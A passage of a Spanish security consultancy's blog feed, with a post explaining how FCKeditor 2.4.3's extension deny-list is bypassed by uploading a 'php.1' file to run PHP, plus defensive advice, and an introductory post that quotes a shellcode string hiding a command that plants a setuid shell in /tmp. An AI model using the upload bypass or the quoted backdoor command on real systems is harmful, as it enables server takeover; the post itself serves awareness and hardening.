src="http://3.bp.blogspot.com/_IhM_rPvn0ac/SarkTucgNhI/AAAAAAAAAAU/Uz8jFDLBo6Y/s320/1" style="cursor: pointer; display: block; height: 94px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Algunas de sus características son:&lt;br /&gt;• Generación de código XHTML 1.0&lt;br /&gt;• Soporte CSS&lt;br /&gt;• Incorporar formularios&lt;br /&gt;• Formateo de Fuente&lt;br /&gt;• Cortar, copiar, pegar&lt;br /&gt;• Inserción de imágenes&lt;br /&gt;• Creación de tablas&lt;br /&gt;• Menús contextuales con botón derecho&lt;br /&gt;• Entre otras características&lt;br /&gt;&lt;br /&gt;FCKeditor se basa en un núcleo escrito en JavaScript, pero, tambíén es implementado con tecnologías de lado servidor como Asp, Asp.net, Java, PHP, entre otros. Es así que este editor se convierte en una opción para aquel administrador de red que necesite implementar este tipo se soluciones en sus organizaciones.&lt;br /&gt;&lt;br /&gt;Ahora viene lo bueno :P, dentro de sus cualidades y al igual que otros muchos sistemas, FCKeditor permite la carga de archivos. En las siguientes líneas veremos cómo es posible vulnerar la carga de archivos de una manera muy simple, para poder ejecutar scripts php. La versión de FCKEditor que hemos utilizado para las pruebas es la 2.4.3 (debido a que es la más desplegada, aunque la 2.6.4 es la más reciente).&lt;br /&gt;&lt;br /&gt;Hemos usado una configuración por defecto (como hace el 99.9% de los instaladores), con el connector de carga de archivos habilitado. No está demás aclarar que la información expuesta en este documento es para fines exclusivamente educativos y deberia ser usada por los administradores y desarrolladores de sitios web a fin de solucionar y prevenir posibles intrusiones.&lt;br /&gt;&lt;br /&gt;Bien, primero el mensaje "About" que nos muestra la versión utilizada en las pruebas.&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/Sark2008ZhI/AAAAAAAAAAc/HkD5lD7KDnI/s1600-h/2" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5308306741354325522" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/Sark2008ZhI/AAAAAAAAAAc/HkD5lD7KDnI/s320/2" style="cursor: pointer; display: block; height: 190px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;El path en donde se encuentra el script que permite la carga de archivos es normalmente el siguiente:&lt;br /&gt;&lt;br /&gt;/fckeditor/editor/filemanager/upload/php/upload.php&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/SarlN8mz8PI/AAAAAAAAAAk/PVANQugQXcw/s1600-h/3" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5308307138579525874" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/SarlN8mz8PI/AAAAAAAAAAk/PVANQugQXcw/s320/3" style="cursor: pointer; display: block; height: 260px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Como se muestra en la imagen, intentamos subir un archivo php al servidor. El motor de FCKEditor reconoce a esta extensión como no válida y lanza el error "Invalid File". Uy! no podemos hacer nada... o si??. Pues bien, vamos a algo más profundo analizando el código.&lt;br /&gt;&lt;br /&gt;Revisemos config.php&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; $Config['AllowedExtensions']['File'] = array() ;  &lt;br /&gt; $Config['DeniedExtensions']['File'] =  &lt;br /&gt; array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp',  &lt;br /&gt; 'cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis','sh','shtml','shtm','phtm') ;  &lt;br /&gt; $Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;  &lt;br /&gt; $Config['DeniedExtensions']['Image'] = array() ;  &lt;br /&gt; $Config['AllowedExtensions']['Flash'] = array('swf','fla') ;  &lt;br /&gt; $Config['DeniedExtensions']['Flash'] = array() ;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Primera observación, si bien es cierto que no es vulnerabilidad, pero sí una mala práctica : permitir todo y tener excepciones de negación. Tomemos como analogía el caso típico de la configuración correcta de un firewall : "denegar todo y luego hacer excepciones de permitir". Como vemos, en este caso, se hace lo contrario, debido a que permite cualquier archivo que no tenga como extensión alguna que este prohibida explícitamente, es decir, se usa una política de aceptar todo y denegar excepciones. Imagínese que desea que sus&lt;br /&gt;usuarios carguen sólo documentos, ¿por qué habría de permitirles que carguen un archivo con extensión "1" o "abc"?.&lt;br /&gt;&lt;br /&gt;Analizamos uplodad.php&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; // Get the extension.  &lt;br /&gt; $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  &lt;br /&gt; $sExtension = strtolower( $sExtension ) ;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;He aquí el problema. Para determinar la extensión, lo que se hace es tomar los caracteres luego del punto "." en el archivo. Luego de esto, la extensión en la variable $sExtension es buscada en los arreglos de denegados o permitidos para determinar sí el archivo sera cargado o no.&lt;br /&gt;&lt;br /&gt;Aquí podemos indicar un punto importante, no debemos fiarnos del tipo de archivo sólo por la extensión, debemos tener en cuenta el tipo de archivo (&lt;a href="http://es.wikipedia.org/wiki/MIME"&gt;mime-type&lt;/a&gt;), en php podemos usar la sigueinte sentencia para obtener el tipo de archivo: $_FILES['attachement']['type']&lt;br /&gt;&lt;br /&gt;Por ejemplo si deseamos que nuestros usuarios carguen imágenes, entonces primero debemos permitir sólo las extensiones de imágenes que según nuestras políticas de seguridad deban ser permitidas. Luego, debemos verificar el mime-type y por último podemos verificar que sea una imágen válida intentando obtener (mediante código, en tiempo de ejecución) las dimensiones de la misma.&lt;br /&gt;&lt;br /&gt;Es asi que si creamos un archivo con una distinta extensión con un pequeño script en php. Notemos que la extensión usada fue "php.1":&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/Sarm4oJGEQI/AAAAAAAAAAs/xDl0FLWzfPQ/s1600-h/4" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5308308971332178178" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/Sarm4oJGEQI/AAAAAAAAAAs/xDl0FLWzfPQ/s320/4" style="cursor: pointer; display: block; height: 171px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/SarnM5_SYDI/AAAAAAAAAA0/ujKpL1UIg0o/s1600-h/5" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5308309319720263730" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/SarnM5_SYDI/AAAAAAAAAA0/ujKpL1UIg0o/s320/5" style="cursor: pointer; display: block; height: 251px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;La carga de archivos se realizada exitosamente!. Ahora tan sólo tenemos que llamar al archivo desde el browser. Cómo saber cual es la ruta de subida? Afortunadamente FCKEditor nos evita la tarea de determinar dónde y lo muestra en "Uploaded File URL".&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/SarnauKsSWI/AAAAAAAAAA8/M1LUpHFZQwU/s1600-h/6" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5308309557065042274" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/SarnauKsSWI/AAAAAAAAAA8/M1LUpHFZQwU/s320/6" style="cursor: pointer; display: block; height: 213px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-size: 100%;"&gt;Como vemos, el script php fue ejecutado. Por lo tanto vemos otra mala práctica : no debemos permitir la ejecución de archivos cargados por los usuarios. Es decir, debemos aplicar el principio del mínimo privilegio (&lt;a href="http://en.wikipedia.org/wiki/Principle_of_least_privilege"&gt;least privilege&lt;/a&gt;). Tenga en cuenta que no siempre es necesario cargar los archivos en un sítio público o que pueda ser accedido públicamente, en ocasiones puede cargar el archivo y sólo ser visto en la red local, o ser visto sólo por las personas que lo requieran.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;En este caso hemos cargado un simple hello world, para los que están metidos en esto, se les debe hacer conocido la famosa c99.php que ya permite acciones para la elevación de privilegios.&lt;br /&gt;&lt;br /&gt;Las posibilidades con la carga de archivos son muchísimas, desde un simple &lt;a href="http://en.wikipedia.org/wiki/Website_defacement"&gt;defacement&lt;/a&gt; (aunque bastante publicitados), usar el servidor como un nodo de ataque o tomar control de la red entera.&lt;br /&gt;&lt;br /&gt;Recuerden que un atacante que busca algo específico (pueden ser espías, modificar data por dinero, delincuentes, etc) evitará en todo momento ser detectado, por ello, es una buena práctica tener un hash de cada archivo de su aplicación Web.&lt;br /&gt;&lt;br /&gt;Tal vez el administrador nunca llegue a enterarse de este tipo de ataques sigilosos, pero pueden causar muchísimo daño, asi que no sólo debemos preocuparnos por los defacers. El advisor que explica el problema puede ser encontrado en&lt;br /&gt;&lt;br /&gt;http://secunia.com/advisories/27123/&lt;br /&gt;&lt;br /&gt;A modo de conclusión, consideramos necesario resaltar que existen muchas soluciones/sistemas que usan FCKeditor y debemos tener en cuenta que no siempre nos preocupamos por actualizarlos. Por ejemplo en su organización tienen una intranet hecha a la medida, para esta intranet no hay actualizaciones, pero se ha usado FCKeditor, entonces deberían actualizar y configurar apropiadamente este editor, pues representa un vector de ataque de&lt;br /&gt;muy fácil explotación.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La información mostrada en este post contiene vulnerabilidades que son comunes en la mayoría de aplicaciones de carga de archivos (por ejemplo: los muy conocidos avatares en foros y comunidades), por lo tanto, deben ser bastante cuidadosos al momento de usar estafuncionalidad y en el caso de los desarrolladores, siempre tengan en cuenta la seguridad.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-1342072702542858283?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/1342072702542858283/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2009/03/luego-de-una-buena-introduccion.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1342072702542858283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1342072702542858283'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2009/03/luego-de-una-buena-introduccion.html' title='Vulnerabilidades en FCKeditor'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IhM_rPvn0ac/SarkTucgNhI/AAAAAAAAAAU/Uz8jFDLBo6Y/s72-c/1' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-3307155445122152501</id><published>2009-02-13T18:11:00.000-05:00</published><updated>2009-02-13T18:46:35.171-05:00</updated><title type='text'>De Hacking, Toolz y algo más...</title><content type='html'>Me pidieron iniciar este blog con un buen "floro" y aunque no tenía mucho de que escribir en este momento, un par de correos me motivaron.&lt;br /&gt;&lt;br /&gt;El espíritu de este blog será compartir conocimiento, algo que hacemos a menudo, pero, no siempre de esta forma pública y grupal (tengo un blog personal que no recibe mis descargas pasionarias e intelectuales desde diciembre del 2008).&lt;br /&gt;&lt;br /&gt;Somos un grupo de consultores (ya algún lector dira : ah! pense que eran hackers! son simples consultores!) que tienen mucho por compartir gracias a la experiencia ganada por las exigencias de los proyectos que hemos ejecutado y por el interés con que despertamos todos los días por aprender MAS (si es que dormimos...).&lt;br /&gt;&lt;br /&gt;En este blog esperamos compartir lo que hemos aprendido utilizando herramientas hechas por otros, como hemos modificado algunas de estas herramientas, herramientas y scripts hechos por nosotros (más que nada scripts) y como se desenvuelve nuestro mundo de ethical hacking.&lt;br /&gt;&lt;br /&gt;Uno de los correos que recibí hoy indicaba que una persona desestimaba nuestros servicios por el 99.9% de las herramientas que utilizamos son Software Libre, que es más barato contratar una empresa o persona que corra esas herramientas.  No quiero ni saber que piensa sobre aquellos que usan herramientas comerciales.&lt;br /&gt;&lt;br /&gt;Este correo me llevo a analizar dos cosas :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Qué tanto sabe la gente técnica y aquellos "hackers" (si, los hackers de blog, los pirañas de cabina, genios de baúl, palomillas de MS Windows, gurues de acequia, consultores "con vasta experiencia", instructores copy-paste) sobre hacking en seguridad informática ?&lt;/span&gt;  Conocen Nessus ? Claro! Pero, saben que hace cada simplón checkbox de Nessus ?  Han usado Metagoofil ? Estan seguros que no hay PDFs y/o metadata en ese website revisado con Metagoofil ?  Es mejor un escaner de puertos rapido ?  Saben como manejar tiempos en un simple escaneo de puertos ? &lt;br /&gt;Saben que hace esto ? :&lt;br /&gt;&lt;span style="font-size:85%;"&gt;char esp[] __attribute__ ((section(”.text”))) /* e.s.p&lt;br /&gt;release */&lt;br /&gt;= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″&lt;br /&gt;“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″&lt;br /&gt;“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″&lt;br /&gt;“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″&lt;br /&gt;“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″&lt;br /&gt;“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″&lt;br /&gt;“\x6e\x2f\x73\x68\x00\x2d\x63\x00″&lt;br /&gt;“cp -p /bin/sh /tmp/.beyond; chmod 4755&lt;br /&gt;/tmp/.beyond;”;&lt;/span&gt;&lt;br /&gt;Creen que MetaSploit es EL framework para lanzar ataques ? (en realidad es lo mejor que hay para analizar exploits y payloads)&lt;br /&gt;Hasta ahora nos habiamos limitado a compartir estos conocimientos en charlas, cursos, talleres y conversaciones.  Este blog nos permitirá hacerlo de forma más extensiva.&lt;br /&gt;Aca valga una aclaración : las herramientas que hemos modificado solamente son usadas en nuestro trabajo y no hemos hecho públicos los cambios debido a que no tenemos el tiempo para participar como se debe de los proyectos que las han creado y mantienen.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Cuán maltratada esta la labor de los consultores ?&lt;/span&gt;  Esta parte es bien importante porque de nada sirve hacer un buen trabajo de ethical hacking, encontrar y explotar vulnerabilidades si los resultados de la evaluación no le sirven a la organización evaluada. &lt;br /&gt;Esto es un tema que pasa desde el uso de metodologías hasta las técnicas de trabajo en equipo, pero, en un medio tan nuevo para nosotros latinos (salvo algunos paises), no es fácil hacer que las organizaciones entiendan que un consultor si puede tener conocimientos avanzados como un hacker (sin mayor definición complementaria) y que sus recomendaciones son eminentemente técnicas.&lt;br /&gt;También entregaremos mucha información que permita reinvidicar a nuestros queridos Whitehats (bueno, si alguno lavo su sombrero y quedo blanco, también es Whitehat o no ?)&lt;br /&gt;&lt;br /&gt;A bloggear!!!!&lt;br /&gt;&lt;br /&gt;Este blog deberá servir además como una forma de comunicar temas técnicos, algunas veces simples traducciones de otras novedades porque hay mucha gente que no domina aún el idioma Inglés, Alemán o Francés (no necesiriamente representan los idiomas más usados, pero, son los que manejamos en Open-Sec).  Siempre se indicarán los créditos, acá no se "robarán" posts ni se presentarán genialidades como propias si no lo son.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-3307155445122152501?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/3307155445122152501/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2009/02/de-hacking-toolz-y-algo-mas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3307155445122152501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3307155445122152501'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2009/02/de-hacking-toolz-y-algo-mas.html' title='De Hacking, Toolz y algo más...'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry></feed>
